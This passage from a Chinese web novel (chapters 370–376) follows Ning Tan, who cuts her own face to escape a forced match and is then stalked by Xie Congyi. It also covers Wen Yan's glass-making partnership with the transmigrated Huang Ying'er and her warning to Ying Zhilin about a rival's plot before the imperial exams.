得罪了谢家,别说是你的哥哥弟弟,恐怕连你的父亲叔伯都会仕途受阻。” 不得不说,钱家人的口才真是好极了。 家族利益,个人得失,他们分析得头头是道。 别说是宁家的老太爷,就连宁父都听得动摇了。 宁叹进门之后,除了行礼,就没说过一句话。 她看似低眉顺眼。 实则,她的余光一直注意着宁家的每一个人的反应。 她发现宁家除了大哥,就连母亲都有一瞬间的动摇,虽然她很快就坚定了立场。 只是哥哥的眉宇间,为何忽然染上忧愁? 宁母六神无主。 好在宁叹一进宁静,她小声提醒宁母几句。 宁母立即大声问道:“你们把谢家说得这么好,跟你们钱家有什么关系? 谢家看上我女儿,大可以直接登门议亲,为什么要经过你钱家? 况且,我们现在说的是钱家二夫人买凶杀人一事。 你们若是不肯赔偿退亲,那我们不介意靠到京兆府,当官府来断一断孰是孰非。 我知道你钱家势大,京兆府不敢接这个案子,那我就去敲登闻鼓,告御状!” 宁母说得铿锵有力,钱家人脸色一变。 他们不想退婚,自然是因为退婚之后,宁叹就变成了宁家女,就算跟谢家扯上关系,也与钱家无关。 钱家捞不到半点好处。 他们不甘心,到嘴的肥肉飞了? 钱家人见宁母油盐不进,就说这是男人之间的事,容不得女人插嘴,随后又跟宁爷爷打起感情牌,说钱家这几年对宁叹不薄,又提起宁叹死去的未婚夫。 宁爷爷又开始摇摆起来。 宁叹却在这时,突然问道:“钱家大夫人,谢大家公子到底看上我什么?不会是对我这张脸见色起意吧!” 钱家大夫人掩唇,笑道:“你这张芙蓉面只是敲门砖,谢大公子对你是始于颜值,倾慕品性,啊——你干什么!” 钱家大夫人话还没说完,就见宁叹拔出头上的一对发簪,对着自己的左右脸一起狠狠划下。 她的脸颊,顿时血流如注。 顷刻间便染红了她的衣裳。 第371章:给孟希延送行 她的脸颊上,一边一道口子,从颧骨到嘴角。 伤口又深又长,皮肉片外翻着,看着特别的狰狞恐怖。 若是不及时处理缝针,伤口就会变得像蚯蚓一般扭曲吓人。 鲜血汩汩往外冒,顺着脸颊渗进衣领里面,顷刻间,便染红了宁叹胸前的衣裳。 “叹儿,你这是干什么啊!你的脸,这可怎么办啊!”宁母扑过去抱住宁叹,哭得肝肠寸断。 钱家大夫人吓得哇哇乱叫,想把人轰走又不敢,只得大叫着:“请大夫,快去请大夫!” “不必了。”宁叹大声制止,她痛得浑身都在颤抖。 “谢家大公子看中的不就是我这张脸吗?那我偏要毁了它。 没了这张脸,谢家还会要这门亲事吗?” 她说这话时,双眸一瞬不瞬地盯着钱家的人。 宁叹的双目充血赤红,脸色却因为疼痛和失血而变得惨白。 却又因血淋淋的伤口,让她变得格外的狰狞恐怖,就像是从地狱里爬出来的恶鬼,要吃肉饮血一般。 “疯了疯了!”钱家大夫人吓坏了。 就连钱家当家人都被宁叹决绝的眼神给吓到。 “我们走!”宁叹不顾流血的伤口,拉着兄长的手,转身就走。 她痛得浑身都在颤抖。 她每说一句话,做一个表情,就会牵动两侧的伤口,痛得她生不如死。 但她硬生生忍住,没落一颗泪,没喊一声痛。 “叹儿,让娘来扶你!” “妹妹,让大哥背你。”兄长也蹲到他面前。 宁叹却推开了他们:“我……我自己可以。我的路,我自己能走完!” 她就这样,忍着痛离开了钱家,回到自家的马车上,她才像是用光了全部的力气,瘫坐在车厢里。 她的丫鬟纸鸢,立即扑了过来:“小姐,你的脸……怎么会这样。” 宁叹握住纸鸢的手:“我的好丫头,别慌。 看着吓人,其实都是些外伤,要不了我的命。” “流血不止,怎么会不要命?您的身子骨本来就弱,而且……而且还会留下疤痕,这样您就毁容了啊!” 纸鸢呜呜哭着,眼泪就像泄闸的洪水,怎么都止不住。 宁叹替她擦着眼泪,轻声细语的哄着她。 纸鸢胡乱擦着眼泪,只怪自己太不争气了:“都怪纸鸢不好,明明是小姐受了伤,我却哭个不停。还要小姐来安慰我。” 回到家里之后,宁叹没用麻沸散,硬生生忍着痛,让大夫给她缝合伤口。 她几乎能清晰听见针线穿透皮肉、拉扯的声音。 一旁的宁家人都冷汗直冒,不忍直视。 宁叹却一声没吭。 ** 闻颜听完事情经过,紧紧握着宁叹的手:“你怎么这么傻啊!对付钱家我们有一万种办法,你为什么要拿自己的身体开玩笑。” 对于他们这样的家族,女子的容貌不是最重要的,但也是必不可少的。 她毁了脸,别说是婚嫁,寻常出门社交,恐怕也会有人在背后议论。 宁叹摇了摇头:“谢家那位大公子看上的就是我这张脸,不毁了它,他的兴趣就不会消失,钱家也会一直纠缠。 唯有除了这祸根,我才能彻底清静。” 所以说,钱家肯退婚,除了孟希延的谋算,更重要的是宁叹的脸毁了,谢家那位公子看不上了。 闻颜抱着宁叹:“你放心,我一定找到最好的退疤药,让你的恢复如初。” 宁叹摇摇头:“这疤我要留下。有它们在,能给我省好多麻烦。” 闻颜听完,就没再多劝。 宁叹这张漂亮的脸蛋,不管是今生还是前世,都没留住。 好在孟希延从不在意外貌。 前世她毁容成那样,孟希延都不介意。 如今这点疤痕,简直就是小巫见大巫。 闻颜把珍珠项链给她戴上:“以后你就是我异父异母的亲姐姐了。” 宁叹握着闻颜的手:“颜颜,能遇见你,真好!” 闻颜一点不谦虚,得意的摇头晃脑。 他们又喝了一会儿,吃了些点心,时间就差不多了。 “走吧,我们去给大哥送行吧。” “好。”宁叹应了一声。 两人就手牵着手,离开了茶楼,坐着马车朝城门外走去。 隔壁雅间里。 谢琮弈看着携手离开的二人,眼中闪过玩味。 “果然,那只手镯是小兔子送给她的。”他搓着手里的玉白菜吊坠,脸上露出浅淡笑容:“让我逮住,你就再也跑不了了。 调皮的小兔子,捉起来才更有意思。 走跟上去,我倒要看看她最近在玩什么。” 闻颜一行人,很快就到了城门外。 他们在路边的茶棚等了一会儿,孟希延一行七八人就出来。 “大哥!这里。”闻颜站起身来,朝他挥手。 孟希延跟身边的人招呼一声,牵着缰绳,就走过来了。 发现闻颜身边的人是宁叹,孟希延就不受控制的想看她。 他又不想自己表现得太过轻浮,便拼命克制,反而显得他青涩又紧张。 让北境外族闻风丧胆的孟小将军,此刻竟手足无措得像个孩子,闻颜在一旁忍笑忍到肚子痛。 她给孟希延准备的东西,早就送了过去。 闻颜没什么好交待的,就默默喝茶,当隐形人。 气氛变得安静,那两人就越发的不自在了。 闻颜乐见其成孟希延窘迫,并不出声。 最终,还是宁叹打破气氛,把一只盒子拿出来:“上次多亏了孟小将军帮忙,这里面是家父家母的一点心意。 还望孟大哥不要嫌弃。” “怎会嫌弃,多谢你的礼物。也多谢你来给我送行。”孟希延拿过盒子,宝贝似的护在怀里。 “……”宁叹羞赧的偏过头去。 孟希延却神情一凛,紧张问道:“你的脸怎么了?” 隔着面纱虽然雾里看花,孟希延还是凭借着皮肤深浅,一下就发现了她脸上的异样。 宁叹连忙捂着自己的脸:“没什么……我……我在南方呆久了,突然回来,不适应北方的干燥,所以才……” “你骗我。”孟希延的声音里竟带上委屈,“干燥损伤的皮肤不是这样的,你的脸受伤了。你能给我看看吗?” 宁叹犹豫了一下,还是揭开了面纱。 第372章:我不喜欢 孟希延看清她脸上的伤,硕大的拳头瞬间捏紧:“这是怎么弄的?” 他很是愤怒,却没有一丝嫌弃和厌恶。 宁叹反而有些失望,他应该嫌弃自己的。 “我自己弄的。你不必多想。” 孟希延何等聪明的人,不用宁叹细说,他就将事情猜到七七八八。 他哑着嗓子,道:“你别担心,我会……”他犹豫了一下,才接着道,“你照顾好自己,有什么事就去找闻颜。” 孟希延又交待闻颜,“若是你处理不了,就去找元小头领,佩儿应该知道如何联系上他。” 闻颜:“……” 啧啧啧……,果然啊,嫁出去的儿子泼出去的水。 孟希延的队友催促他:“时间不早,该出发了。否则要赶不上客栈投宿了。冰天雪地里的夜晚可不好熬。” 孟希延有再多的留恋,还是依依不舍地走了。 闻颜看着远行的队伍,叹了口气:“当官也不容易。下次见面,起码要半年后了。” 宁叹拉着她的手宽慰:“每一次别离,都是重逢的开始。” “宁叹姐说得对。马上就到午饭时间了,我们去吃好吃的吧。 这两年京城开了很多好味道的食肆酒楼,我今天带你去吃最好的。” “好啊,我回来后都是足不出户,还没机会尝过外面的美食。” 两人数着美食上了马车。 闻颜做生意后,对京城的食肆酒楼了如指掌。 她挑了口碑最好的一家。 要了一个雅间,美美地吃了一顿。 随后,他们又去‘天衣布庄’买衣裳。 闻颜特地送了她两身:“一身是我送你的,另一身是我代表迟飞姐姐送你的。” “你送的我收下,那位迟飞妹妹,我与她素未蒙面,怎好收她东西。” “放心吧,我们这么要好,迟飞姐姐也会喜欢你的。 你要是不收,她反而会伤心。” 宁叹忐忑地收下了礼物。 随后,她们又去吃了茶楼听书。 整整一天时间,都被闻颜安排得充实又精彩,宁叹开心极了,根本没空去想那些伤心难过的事。 说书还剩最后一回,闻颜突然对宁叹道:“我看见盛夫人了,去打声招呼,你要跟我一起吗?” 她配的香粉,还差几味香料,正要找盛夫人补货,还没找到时间递信过去,没想到在这里碰上。 她干脆就去说一声。 宁叹摇了摇头:“不必了,这段书说得很精彩,我想留下来听。” 盛夫人? 是相府那位大少夫人吗? 没想到闻颜跟她那样的人物也有交情,自己还是不要掺和进去了。 “那我去去就回,纸鸢,照顾好你家小姐,有事就去对面那个雅间找我。”闻颜指了指盛夫人的雅间。 “柳小姐就放心吧,我一定会照顾好我家小姐的。”纸鸢很喜欢这位柳小姐,活泼开朗又大方,对她们这些下人也很客气。 闻颜起身就朝雅间走去。 宁叹注视着闻颜进入雅间,她的眼神温柔得仿佛能化出水来。 “原来,你喜欢听说书啊。”宁叹的身后突然传来一道低沉的男声,那声音似嗔似叹,还带着幽怨一般。 宁叹身体僵住。 一股熟悉又陌生的熏香传入她的鼻尖。 不必回头,她便知来人是谁。 她的呼吸瞬间就暖了。 “你好无情,这些事,你竟从不告诉我。” 纸鸢看清宁叹身后之人,双眸蓦地放大:“你你你……”她慌慌张张,手脚并用地站起来,想要去找闻颜求救。 “别去!”宁叹出声制止。 男人的折扇,在纸鸢膝盖上轻轻一敲。 “啊……”纸鸢痛呼一声,左腿就失力发软,跌回位置上。 “你……你放开我!”纸鸢挣扎。 男人出声威胁:“再搞小动作,我就拧断你的胳膊。” “我……小姐……” “他的手段你还没见识过吗?别去给她添麻烦。”宁叹拉过纸鸢,护在身侧。 “宁小姐,三个月不见,别来无恙啊!”一直站在她身后的男人,这才坐她对面。 此人不是别人,正是在‘一点墨’询问白玉手镯来历的谢琮弈。 “谢大公子。”宁叹冷冷的说了一声。 “宁小姐,这么长时间,你还没想明白吗?嫁给我,有什么不好的?荣华富贵,人脉权势,你都不会少。” 谢琮弈‘歘’的一下打开折扇,想要拔开宁叹帷帽上的纱缦。 “谢大公子,还请自重。”宁叹往后躲了一下。 谢琮弈眸色微沉,收回折扇:“真是好得很,从来没有哪个女人,会像你这般不识抬举。 我追求你三四年,你始终是这副冷冰冰的样子。 宁叹,我的耐心已经快被你耗尽了。” “谢大公子,您相貌出众,才学过人,家世一流,什么样的女子得不到?便是那皇室公主都配得。 您不应该把时间浪费在我这个名声有瑕的普通妇人身上。” “要我就是看上你了呢?” “我……您看上我什么了?可以改!” “你……简直油盐不进!”谢琮弈恼怒。 他二十有三,早就娶妻生子,这些年他在外地游学,女人也从未断过。 温柔小意,泼辣活泼。 什么样的女子他没见过,没得到过? 只有宁叹。 无论他怎么示好,她都像根木头桩子一般,不为所动。 几年时间下来,他的耐心所剩无几。 这次会试,是他给宁叹最后的时间。 科举结束,无论用什么手段,他都会把她弄到手。 宁叹见他表情变得阴沉。 犹豫了一下,还是决定露出自己的丑脸,将他吓退。 谢琮弈却用折扇压着她手:“省省吧,我此刻很不高兴,对你也毫无兴趣。” “还有,你以后不要再跟姓柳的女人接触。”谢琮弈不悦地命令。 “凭什么?”宁叹不解,也不服气。 他凭什么对她的生活指手画脚? “我不喜欢,这个理由够吗?”姓柳的女人太会蛊惑人心。 他跟了她们一下午。 闻颜看似娇弱,却很能折腾。 铺子一家接一家的逛,就像不会累似的。 不过半日,性格冷清的宁叹,便笑声不断。 他讨厌笑着的宁叹,太过明媚灿烂,让他有种不适。 让他觉得宁叹失去掌控。 第373章:黄莺儿求合作 “我的事,就不劳谢大公子插手了。”宁叹做了一个请的手势,送客。 谢琮弈表情不变,只是手里的折扇不停的敲着桌子,焦躁的频率越来越快。 “……这位不是温文儒雅的谢大公子吗?您也在这里听书? 是喜欢这个位置吗? 巧了,我们正巧要离开,您稍等片刻,我们这就腾位置。” 她也没想到,世界这么小,觊觎宁叹的人,就是上午在‘一点墨’的谢琮弈。 闻颜朝纸鸢使了个眼色,一手抓起自己的背包,一手拉住宁叹的胳膊就往外走。 谢琮弈平静的表情倏一冷。 折扇再次落下时,‘啪嗒’一声,扇骨断成两截。 他的小厮吓了一跳:“公子,你没事吧。” 谢琮弈起身,大步离开,身上的冷肃之气吓人。 小厮低垂着脑袋,噤若寒蝉的跟上。 闻颜送宁叹回家。 马上车。 宁叹提醒闻颜:“姓谢的背景深厚,心眼小还睚眦必报,你下次再见到他,记得绕着走,千万别去招惹他,知道吗?” “旧时王谢堂前燕,确实挺有背景的。”闻颜不置可否,没再多说。 自从这次相逢之后,谢琮弈就盯上了宁叹。 宁叹每次出门,他都会在途中,以各种方法堵她。 一开始,宁叹是千方百计的躲开。 可是不管怎么躲,都会落入他的陷阱。 那种窒息的,再也逃不出谢琮弈掌控的感觉再度将她勒紧,她几度都要窒息了。 宁叹绝望至极,干脆做起缩头乌龟,窝在家里再不出门。 当然,这些都是后话了。 把宁叹送到家后,闻颜也回‘清风小楼’。 她刚回到店里,佩儿就匆匆来找她:“小姐,黄莺儿来了,说是来找你的。” “黄莺儿?她有说是为什么事儿吗?”闻颜一边朝待客的暖阁走,一边问道。 “问了,她没说。 小姐,你说黄莺儿会不会狗贼心未死,还打着姑爷的主意啊?” 闻颜做沉默状:“应知林条件不错的,被人惦记理所当然。 不过黄莺儿变了好多,她应该不会这么想不开。” 两人说着话,已经到了门口。 黄莺儿听见动静就站了起来,笑眯眯的看着闻颜:“柳姐姐,我可算见到人了,你不知道,我这几天找你找得有多苦!” 说着,她小嘴一撇,就飞扑进闻颜怀里。 闻颜吓了一跳,往旁边躲开。 黄莺儿扑了个空,差点摔倒,好在佩儿及时扶住了她:“黄小姐,你稳重点。” 黄莺儿自己站好,一把握住闻颜的双手:“柳小姐,几日不见,你又好看了许多。 眼睛更明亮,皮肤更白晳了。” 闻颜被她直白的夸奖呛到。 “你特地跑一趟,总不会是来夸我的吧!你有什么目的直接说。” “柳姐果然是做事大的,是个爽快人。”黄莺儿朝闻颜竖起大拇指。 闻颜:“……你夸得未免有些太生硬了。” 黄莺儿笑眯眯地看着闻颜:“生硬不生硬的不重要,我有一笔生意,确实是想跟你谈。” “你腊肉生意的问题还没解决?”闻颜惊讶地询问,“我上次提议你找个靠山,你不会还没找到吧!” 闻颜很是惊讶,那些人一看就是穷凶极恶之徒。 这么长时间过去,她与家人不仅毫发无损,黄莺儿甚至还圆润了些。 黄莺儿有自知之明。 她知道不是自己厉害,而是她捡回来的那个男人厉害。 自从她把那个男人捡回家后,原本隔三岔五上门骚扰的人,全都像被人灌了药似的,再没了动静。 黄莺儿起初天真的以为,有男人做震慑,那些人应该会打消念头。 谁知,前几日雪化得差不多了。 男人的伤无大碍,就离开了村子。 没过几日,那些流氓就再次上门骚扰来了。 黄莺儿起初也有想过,干脆就找那个男人当靠山算了。 但她很快就打消了这个危险的念头。 那个男人身份神秘,机遇和危险都是未知的。 而闻颜和她靠山的情况,却是公开透明的。 两权相害取其轻,她更愿意与闻颜他们合作。 所以,待中部能行走了,她将家里安顿一番之后,就马不停蹄地赶到京城找闻颜。 松山村的人口风紧得很,她在京城吃了不少苦头,才找到‘清风小楼’。 “唉……” 黄莺儿夸张地叹了一口气:“靠山哪有那么好找的。我们家全都是泥腿子出身,往上数三代都没出过一个里正,我们哪有大山可以靠。 思来想去,我发现能抱的大腿,竟然只有你。 说起来,我们也算表亲,肥水不流外人田,赚钱的事怎么能便宜别人。” 闻颜道:“看来你应该打听过我的事。那你就应该知道,我在京城也无依无靠,都是借别人的势。” “这些我都知道啊。 还是那句话,肉要烂在自家锅里才香。 与其被别人强买强卖,我宁愿少赚,也更喜欢主动权掌握在自己手里。” “三成,”黄莺儿竖起三根手指表态,“我只要三成利。” 闻颜听见她提的分成,脸上没有丝毫波动。 黄莺儿怕闻颜退缩,又连忙道:“我知道你有所顾虑,担心因此得罪那些觊觎腊肉方子的人,会影响到你的其他生意。 区区一个腊肉方子,还不值得你冒这么大的险。 但我想说的是,除了腊肉,我还有很多新奇的方子。 比如肥皂,小小一块就能清洁皮肤,还能身上留香。” “你说的是个吗?”闻颜起身来到洗脸架旁边。 她拿起一只精致的雕花木盒,打开之后,从中取出一块鸡蛋大小的微黄膏体:“你说的可是这个?” “你们……你们已经有这个的哈……”黄莺儿的嘴角抽了抽,她拿过香胰子,抹了一点在手上,搓着感受了一下。 这肤感竟然比手工皂还要细腻柔滑。 果然,古人把脑袋别在裤腰带上搞出来的东西,确实是一个手工爱好者不能比拟的。 她尴尬得恨不能捂着脸,再找个地缝钻进去。 不过,她黄莺儿不是会轻易认输的。 她立即道:“我还会制作玻璃。” “??什么玻璃?” “就想当于琉璃。我会制作琉璃,到时候可以大量生产,我们就能赚得盆满钵满。” 闻颜实在不忍心打击她的积极性。 但她又不得不同她说实话。 第374章:天上掉馅饼 闻颜指了指房顶。 黄莺儿抬头一看。 就见房顶上,前后各铺了四片琉璃瓦。 是用来给屋子采光的。 皇宫里的琉璃用得更多。 不仅用来铺在房顶、窗户采光,还会制作成其他的工艺品。 孟迟飞就有一对御赐的琉璃盏,是夏天专门用来盛冰酪酥山的。 黄莺儿脸颊蓦地涨红,最后没忍住呜哇一声大哭起来。 “太欺负人了!呜呜……”为什么别的穿越女,什么都没有,而我穿来的地方什么都有。 卤肉、香皂有就算了,现在连玻璃都能制作,简直太欺负人了! 闻颜见她哭得伤心,憋着没敢笑出声,安慰道:“虽然我们会制作琉璃,可是产量很低,纯度也不够。 如果你的技术能提高质量和产量,还是很有利可图的。” 听到这话,黄莺儿才止住了哭声,汪眼汪汪地看着闻颜:“你说的都是真的?” 闻颜:“当然是真的,要不要我给你发个誓?” “发誓就不用了,我相信你。那你要不要跟我合作卖卤肉和玻璃?” 闻颜对黄莺儿的话半信半疑:“既然要借别人的势,就得先问问别人的意见。 不过,要说服他们合伙,空口白牙可不行。 你总得拿出一个实物来,对吧!” 黄莺儿:“行,我现在就去准备材料,给你做一个样品。” 万幸,她上学时,暑假去手艺作坊打过工,把制作玻璃的材料和工艺牢记于心。 现在要自己烧出玻璃,应该不是难事。 黄莺儿在心里哀叹一声。 别人重生,随便拿出一个方子,就受到公侯王爷的追捧,换成她就跟送不出去一般。 她一定是网文界最惨的穿越者。 她嘴上抱怨着,行动上利索得很,当天下午就列好了材料表。 她对方子保护得挺严密,那些材料都是她自己出去采购的。 黄莺儿一点都不气馁。 除了做肥皂和玻璃,她还会制盐、练钢、火药,黄莺儿都会个大概。 不过现在不是说出来的时候。 等时机成熟了,她会用这些技术,抱上大庸国最牢靠的大腿,登上另一座高峰。 佩儿不解道:“小姐,物以稀为贵。 琉璃的产量上来了,价格就会跌,未必是好事。” 闻颜道:“那就把产量牢牢把控在我们手里不就行了吗?” 佩儿恍然大悟:“还是小姐想得周道。” 这哪里是闻颜想得周道。 这只是她前世见多了,学来的经验罢了。 黄莺儿留在‘清风小楼’专心制作出琉璃样子。 闻颜也忙忙碌碌。 除了新店和生意上的琐事,闻颜大部分的精力,都放在了香料的制作上。 五日后。 黄莺儿就将第一只玻璃样品做了出来。 闻颜看到那只巴掌大小,大肚小口的玻璃瓶时,整个人都惊呆了。 闻颜对它赞不绝口:“这玻璃的纯净度也太高了吧!几乎看不到杂质。 气泡也只有几个小小的。 堪称绝品!” 黄莺儿擦了鼻子一下,骄傲地道:“这只也有一般般啦!我还能做出纯度更高的。” “这一只我就拿去招商了。”闻颜用锦盒将玻璃瓶装起来,她迫不及待地就往门外走。 刚出了门,她又停下来,催促黄莺儿,“你闲着也是闲着,不如再弄几只拳头大的广口小瓶、碗、勺子一类的。” 黄莺儿扶着酸软的腰,跺了跺脚:“周扒皮、资本家!啊啊啊……连穿越都改变不了当牛马的命运吗?!” 闻颜出了‘清风小楼’之后,她坐上马车。 本来打算去孟家的。 不过走到一半,她就让马儿调头,往另一个方向而去。 琉璃制作方法,确实是一条生财之道。 黄莺儿留不住,闻颜也留不住。 至于孟家…… 若是常年有主人在京,或许能震慑住那些宵小,但仍然会有更高位的人觊觎。 既然如此,何不效仿一回敬大哥,要抱就要抱最粗壮的大腿。 若是以前,直接把东西交给孟家人,他们很快就能搞定。 现在孟家几位当家人皆不在京,剩下的妾室庶女,没有进宫递送的资格。 因此,孟希延刚走那几日,朝堂之中,有不少人弹劾孟家,“居功自傲,一家五口全出了京,恐生祸患,许是有谋逆之心。 应该派人将他们一家速速捉拿归案。” 若是弹劾官员有业绩,孟希延走的这五日,起码让御史台完成了半年的业绩。 所以。 思来想去,她就去找了元小头领。 孟大哥信任他,他又是皇后娘家后辈,由他递话,应该没什么问题。 元小头领做事比孟希延还快。 闻颜上午把东西交过去。 元小头领下午就叫人把闻颜和黄莺儿叫去了他的住处,商量合作事宜。 说是合作,对方的态度却强硬得很。 最终,达成的结果:黄莺儿交出玻璃的配方和制作工艺,其余的全不用管,可以分两成的利润。 黄莺儿对这个分配,不仅一点怨言都没有,她高兴还来不及呢!怎么会嫌弃少! 要知道,光是收集材料到制作,都是费时费力的活儿。 而她根本不用管这些,等着数银子就行。 不过,这些都是蝇头小利。 隐形福利,可比这些银子更值钱。 她终于可以光明正大的做生意,再也不用受人威胁了。 闻颜和孟家没有出力,就在中间传了个话,也各给了一成的利。 无功不受禄,闻颜哪敢要啊! 来谈事的人,和蔼的道:“给你你就拿着,别拂了旁人的心意。 这何尝不是一种天上掉馅饼呢! 当天下午,黄莺儿就被‘靠山’带走了:“黄莺儿姑娘,劳烦你跟我去一趟琉璃作坊,让里面的工匠学会每一道步骤。” 闻颜的生活,也恢复到了往日的平静。 转眼就到了二月,闻颜为霍耀行、江柔儿精心准备的香料,最终版本终于调制出来了。 随后,她就联系了敬明媚。 ‘天衣布庄’的雅间里。 敬明媚幽怨地看着她:“我说柳大小姐,你可有够无情的,这么久都不联系我。 我还以为你人间蒸发了呢!” 第375章:果然很香 “不不不,”闻颜摇着手指,“我在家里排行老六,你要叫我柳六小姐。” “就你调皮。”敬明媚娇媚地睇她一眼,便媚骨天成。 闻颜捧着脸:“哎呀呀,敬小姐你收敛一点吧。 你笑得我浑身的骨头都酥了。” 两人说笑一阵,闻颜就拿出几盒香料,并一一说明功效和使用方法。 敬明媚听完打了个冷颤:“毒还是你毒,这种方法都想得出来。” “对付霍耀行那样的恶人,自然要用恶人磨。”闻颜笑着朝他挤了挤眉,“这两款要提前给他们用,墨盒子男用,红盒子女用,你可千万别弄混了。” “别的事我不行,这件事保准办得妥妥的。”敬明媚摩拳擦掌,早就按捺不住了。 依照她的暴脾气,在哥哥傍上皇帝的大腿后,她就想动手修理霍耀行一窝坏胚子了。 之所忍到现在,又全力配合闻颜的行动,既是因为他们殊途同归,也是因为兄长承了闻颜的情。 他们敬家,向来有恩必报的。 闻颜朝她暗送秋波:“我想念敬小姐的本事,小小霍家,轻松拿捏。” 到了二月中旬。 香料的生意也做起来了。 新推出的香料,她分别在清风小楼、一点墨和天衣布庄使用。 不同的香料,对应不同的场景,不同的客人。 清风小楼会根据每个院子的风格,使用不同的香型。 但都是以清新甜雅的味道为主。 一点墨是沉静雅致的檀香,有提神功效。 还有天衣布庄的香型又变得不一样的。 当这三家店铺的客人被香吸引,寻到卖香铺去,他们就会发现更多更好闻的香。 不过,卖得最好的,还是一款‘状元香’。 味道好闻,却有提神醒目的功效,很受学子们的欢迎。 特别是那些来赴考的学子们。 应知林也来了京城。 他进城那天,闻颜特地到城门口去接他。 “颜颜!”应知林撩起马车帘子,一个大跨步跃下马车,稳稳地站在闻颜面前。 应知林欣喜看着闻颜,眼神中的雀跃仿佛下一秒就能飞出来一般。 他将手藏在身后,紧紧的捏成拳头,才没克制着没有拥抱闻颜。 闻颜冲他明媚一笑:“赶路辛苦了,肚子饿了吧! 走吧,我们先去吃饭。再送你去住处。” “都听你安排。” “大虎哥,我们一起去吃饭吧。”闻颜同大虎哥打招呼。 大虎哥揉揉自己的肚子,憨厚一笑:“我怎么都行。” 应知林这次来赶考,虽说吃、住、行闻颜都打理得井井有条。 但考前考后都有许多应酬,身边得有一个信得过的人。 但除此之外,还有许多应酬、跑腿需要人协助。 应知林便选了大虎哥。 他们一起长大,大事小情合作的次数数不胜数,他们互相信任熟悉。 闻颜边走边问应知林:“家里一切都好吧!五婆婆和外祖母身体可好?辰七哥听不听话,两间作坊里可有麻烦事。” 应知林一一答了:“家里一切都好,两们老人吃得下睡得香,身体比之前强了不知多少,他们每天都念叨着你。” 应知林说到这里,突然停了下来,还把嘴唇抿成了一条直线,看着有几分委屈。 “怎么了?家里发生什么事了?”闻颜追问。 “你谁都问到了,唯独把我漏掉了。” 扑哧…… 闻颜笑出声。 应知林有时候真的很像小孩。 她灵动的眼睛转了转,忍着笑问:“那你呢?这段时间过得好吗?” “不太好。”应知林撇了撇嘴,还鼓了鼓腮帮子,像极了闹别扭的少年。 “原来过得不太好啊!那我要不要帮帮你呢?”闻颜忍笑看应知林,哄小孩一样逗他。 应知林嘴角忍不住上扬,轻笑出声。 闻颜带着他们在酒楼里饱餐一顿,就去了乡试时租住的宅子。 这个宅子闻颜一起没退。 除了上次中举的同窗,还有考试后投缘的外地举子。 应知林和同窗人不多,住在后院。 新结交的举子住在前院。 应知林还是上次住的房间,宽敞明亮。 大虎哥眼里有活,话下行李,就挽起衣襟,洒扫庭除。 闻颜本想帮应知林铺床叠背。 应知林把她按在火炉旁的椅子里,又从行李里摸出一个油包给他:“喏,这是外婆给你炒的瓜蒌子,是用你上次说的方法,先卤一卤,再烘炒干。家里的人都很喜欢这个味道,你吃吃看。” 闻颜打开油纸包,一股香喷便扑面而来。 “闻着就好香,肯定也好吃。”闻颜捏了一颗进嘴里,“咸淡刚好,卤香也没有抢味,可真不错!” 瓜蒌子或许可以在‘清风小楼’供应。 做一些雅致的味道,便如西瓜、茶叶味。 那些千金小姐,应该会喜欢……吧! “你喜欢吃就好,今年多种一些瓜蒌,让你一整年都有吃的。”应知林挽起衣袖,自己开始规整行李。 “没必要自己费那个劲。你下次回去发动村民,让他们在自家田地边缘种一排,到时候我们跟他们收。”闻颜一边自己嗑,一边剥瓜子米放在一旁。 应知林轻笑:“好,都听你的。” 她嘴上说着不想自己人出力,其实是想给村民创收。 种瓜蒌比种粮食简单省心,到时让村里像哑妹那样的孤寡人家多种一些。 闻颜‘嗯’了一声,两人就没再说话。 闻颜歪在圈椅里,翘着脚,嗑着瓜蒌子吃着茶。 应知林则仔细认真的铺床叠被。 阳光从窗外洒进来,照得一室温暖。 大虎哥端着盆想擦屋里的地板,看见两人和谐自然温馨的一幕,又悄悄退了出去。 瓜子米剥了一茶盖,闻颜叫应知林:“你过来一下。” “什么事?”应知林转身走过来。 “喏,给你的。”闻颜把一茶盖瓜子米递到他面前。 应知林眼睛弯起快乐的弧度。 他举了举双手:“我手上脏,你帮我。” 还不等闻颜问他怎么帮。 他就用手托着闻颜的手腕,倾身去咬了一口瓜子米。 “果然很香。”娘子亲手剥的瓜子米,格外香甜。 好一会儿。 应知林才将东西规整好。 闻颜拍了拍旁边的空位:“你过来,我有重要的事要跟你说。” 第376章:控制不住的存在 “你等等。”应知林去外面,对大虎哥交待了一句,他才回到屋里,还将门关上了。 不时,闻颜就听房顶瓦片的摩擦声。 是大虎哥上房顶了。 “既然是重要的事,当然要小心一些。”应知林道。 闻颜:“……”她一时竟不知该如何反驳。 就是……这未免有些太夸张了。 应知林道:“现在一切都安全了,有什么话你现在就说吧。” 闻颜这才道:“你知道霍耀行的吧。” “知道,津平侯府的大公子,你以前的未婚夫,差点就成为你的夫君嘛。”应知林说着话,嘴巴就不由自主地撅了起来。 闻颜总感觉自己在他的语气时在,听到一丝茶味儿。 “霍耀行是个心眼极小,睚眦必报的人。 他家是以军功起家,自他祖父那一代开始,就想弃武从文。 传到霍耀行已经是第四代,若是他再没有过硬的政绩,亮眼的成绩,恐怕就要被降爵了。” “你是说,他想通过科举,保住爵位?” 闻颜点点头:“没有什么比连中三元,让他更有威望和抢眼。 当今皇上,是个惜才爱才之人,若是他真的能连中三元,他必定得到重用,自然就能保住侯府之位。” 津平侯看着显赫,其实到霍耀行这一代,若是没有过硬的政绩,恐怕就要被降爵。 前世的霍耀行起初并没有太大的野心,他只想通过科举稳住自己的世子之位。 等他顺利掌控侯府,承袭爵位之后,再‘做’出几件亮眼的政绩,保住爵位。 那样虽然更费时费力,但是在闻颜不遗余力的帮助下,他确实做到了。 但是他重生了。 前世他汲汲营营,步步高升,他早就尝到权利的滋味。 这一世,他一定会想站得更高,看得更远。 前世他吃够了外放的苦。 重来一回,他一定会想走一条更捷径的路。 此次科举地,恐怕早就成了他的登云梯。 只要连中三元。他就能成为皇帝面前的大红人。 乡试的失利,一定会让他更加急切,更不容许一点闪失。 所以,为了确保他能顺利的拿下剩下的‘会、状’二元,只有除掉对手,才是最万无一失的办法。 “以我对他的了解,他早就把‘会元和状元视为囊中之物。 上次你得了解元,已经让他怒火中烧,铭记于心。这次,他可能会让你没法进入考场。” “你对他的了解?你很了解他吗?”应知林使出全部力气,才没让自己的醋意暴露。 闻颜道:“毕竟做了几年未婚夫妻,我以前以为会成为他夫妻,所以打听了许多他的事。没想到竟在这里派上用场。” 这些哪里是退婚前打听来的。 分明是前世的她,用自己和儿子的性命,试探出来的。 应知林张了张嘴,话到了嘴边,又硬生生咽下。 